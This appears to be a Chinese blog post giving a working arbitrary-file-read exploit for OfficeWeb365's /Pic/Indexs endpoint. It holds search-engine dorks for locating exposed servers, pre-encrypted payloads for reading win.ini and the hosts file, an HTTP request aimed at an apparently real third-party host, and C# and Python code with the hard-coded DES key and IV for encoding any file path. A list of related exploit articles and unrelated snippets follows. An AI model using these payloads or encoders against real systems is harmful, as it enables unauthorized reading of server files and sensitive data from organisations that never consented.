OfficeWeb365任意文件读取

OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞,攻击者可通过独特的加密方式对payload进行加密,读取任意文件,获取服务器敏感信息,使系统处于极不安全的状态。

资产搜索

FOFA:body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365"

鹰图:web.body="请输入furl参数"

漏洞复现:

网站根路径+/Pic/Indexs?imgs=加密后的地址

读取c:\Windows\win.ini:网站根路径+/Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09

读取c:\windows\system32\drivers\etc\hosts:网站根路径+/Pic/Indexs?imgs=6pQyzPQHRNEy4NP7jXEzojhi0auIyDxqtdWuPX+Vpu9xV6HoX3eDoUHyK0XtH6Up09

GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09  HTTP/1.1
Host: oa.sdipct.edu.cn:8088
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

加密方法

Enc("/../../Windows/win.ini");

static string Enc(string plainText)
{ // 定义 DES 算法的密钥和初始化向量
byte[] Keys = new byte[] { 102, 16, 93, 156, 78, 4, 218, 32 };
byte[] Iv = new byte[] { 55, 103, 246, 79, 36, 99, 167, 3 }; // 将明文转换为字节数组
byte[] plainBytes = Encoding.UTF8.GetBytes(plainText); // 创建 DES 加密服务提供程序,并设置密钥和初始化向量
DESCryptoServiceProvider desCryptoServiceProvider = new DESCryptoServiceProvider
{
Key = Keys,
IV = Iv
}; // 创建内存流以存储加密后的数据
MemoryStream memoryStream = new MemoryStream(); // 创建 DES 加密器
ICryptoTransform transform = desCryptoServiceProvider.CreateEncryptor(); // 使用 CryptoStream 执行加密
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
{
cryptoStream.Write(plainBytes, 0, plainBytes.Length);
cryptoStream.FlushFinalBlock();
} // 将加密后的数据转换为 Base64 字符串
string encryptedText = Convert.ToBase64String(memoryStream.ToArray()); return encryptedText+"09";
}

使用python制作加密路径

from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
import base64 def Enc(plainText):
# 定义 DES 算法的密钥和初始化向量
keys = bytes([102, 16, 93, 156, 78, 4, 218, 32])
iv = bytes([55, 103, 246, 79, 36, 99, 167, 3])
# 将明文转换为字节数组并进行填充
plainBytes = plainText.encode('utf-8')
paddedBytes = pad(plainBytes, DES.block_size)
# 创建 DES 加密器
desCrypto = DES.new(keys, DES.MODE_CBC, iv)
# 执行加密
cipherText = desCrypto.encrypt(paddedBytes)
# 将加密后的数据转换为 Base64 字符串
encryptedText = base64.b64encode(cipherText).decode('utf-8')
return encryptedText + "09" encrypted = Enc("/../../windows\system32\drivers\etc\hosts")
print(encrypted)

OfficeWeb365任意文件读取的更多相关文章

  1. 应用服务器Glassfish任意文件读取漏洞

    catalogue . 前言和技术背景 . Glassfish安装配置 . 漏洞利用 . 漏洞缓解(修复) 1. 前言和技术背景 0x1: GlassFish是什么 GlassFish 是用于构建 J ...

  2. 安全研究 | Jenkins 任意文件读取漏洞分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...

  3. python从任意文件读取邮件地址输出的代码

    如下的资料是关于python从任意文件读取邮件地址输出的代码. # This script takes whatever you throw at stdin and outputs email ad ...

  4. feifeicms后台任意文件读取

    前台大略看了下,本身内容比较简单,经过“洗礼”后以及没什么问题了,基本上输入都过滤了. 这次审计找到了一个后台的任意文件读取,可以读取数据库配置文件. 在DataAction.class.php文件中 ...

  5. 禅知Pro 1.6 前台任意文件读取 | 代码审计

    禅知 Pro v1.6 前台任意文件读取 | 代码审计 蝉知专业版是基于蝉知企业门户系统开源版开发,继承了蝉知本身的优秀功能.相对于蝉知开源版增强了商品的属性自定义.属性价格定制.物流跟踪.微信支付. ...

  6. 【代码审计】大米CMS_V5.5.3 任意文件读取漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  7. 【代码审计】XYHCMS V3.5任意文件读取漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  8. 【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  9. PHPMailer命令执行及任意文件读取漏洞

    今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个 ...

  10. Atlassian Confluence任意文件读取漏洞

    Atlassian Confluence Atlassian Confluence是澳大利亚Atlassian公司的一套专业的企业知识管理与协同软件,也可以用于构建企业WiKi.该软件可实现团队成员之 ...

随机推荐

  1. 两个例子带你入门 Disruptor

    Disruptor 是英国外汇交易公司 LMAX 开发的一个高性能队列.很多知名开源项目里,比如 canal .log4j2. storm 都是用了 Disruptor 以提升系统性能 . 这篇文章, ...

  2. Hosts映射

    Hosts映射 思考:如何通过主机名能够找到(ping)某个linux系统? 前言 Hosts:是一个文本文件,用来记录IP和Hostname的映射关系 DNS:是互联网上作为域名和IP地址映射的一个 ...

  3. Go语言系列——01-HelloWorld、02-命名规范、03-变量、04-类型、05-常量、06-函数(Function)、07-包、08-if-else语句、09-循环、10-switch语句

    文章目录 01-HelloWorld 一 建立 Go 工作区 二 运行 Go 程序 2.1 hello world 程序代码介绍 02-开发环境搭建 一 下载地址 二 安装 Linux安装 Windo ...

  4. 如何使用Java创建数据透视表并导出为PDF

    摘要:本文由葡萄城技术团队原创并首发.转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 前言 数据透视分析是一种强大的工具,可以帮助我们从大量数据中提取有用信 ...

  5. MongoDB 中的索引分析

    MongoDB 的索引 前言 MongoDB 使用 B 树还是 B+ 树索引 单键索引 创建单键索引 使用 expireAfterSeconds 创建 TTL 索引 复合索引 最左匹配原则 ESR 规 ...

  6. CF339D

    题目简化与分析: 题目翻译说的还是太复杂了,其实只是给你 $ n $ 个数,奇数位 \(\operatorname{or}\),偶数位 \(\operatorname{xor}\). 会修改某个元素 ...

  7. getc()、getchar()、getch() 和 getche() 的区别

    所有这些函数都从输入中读取一个字符并返回一个整数值.返回整数以容纳用于指示失败的特殊值.EOF值通常用于此目的. getc()     它从给定的输入流中读取单个字符,并在成功时返回相应的整数值(通常 ...

  8. 实验2_C语言分枝与循环基础应用编程

    试验任务1 task 1.c #include <stdio.h> #include <stdlib.h> #include <time.h> #define N ...

  9. node(1)

    1.新建http.js //node搭建http服务器 let http=require('http'); //使用http建立服务请求 http.createServer(function(requ ...

  10. 2023江苏省领航杯(部分CRYPTO题目复现)

    决赛 回文 1.题目信息 =QfzEDO4YDNlBzN4gzN0YGM1QzYyUGZ3QDZzgDM7V2Sn52bI52Q= 2.解题方法 base64解码,两种思路: 要么是去掉前面=号解码 ...